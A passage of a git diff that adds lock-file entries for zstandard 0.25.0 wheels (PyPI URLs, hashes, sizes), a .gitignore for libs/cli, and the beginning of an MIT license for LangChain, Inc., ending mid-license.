"https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/libs/cli/.gitignore b/libs/cli/.gitignore new file mode 100644 index 0000000..132fa2e --- /dev/null +++ b/libs/cli/.gitignore @@ -0,0 +1 @@ +.langgraph_api/ diff --git a/libs/cli/LICENSE b/libs/cli/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/libs/cli/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 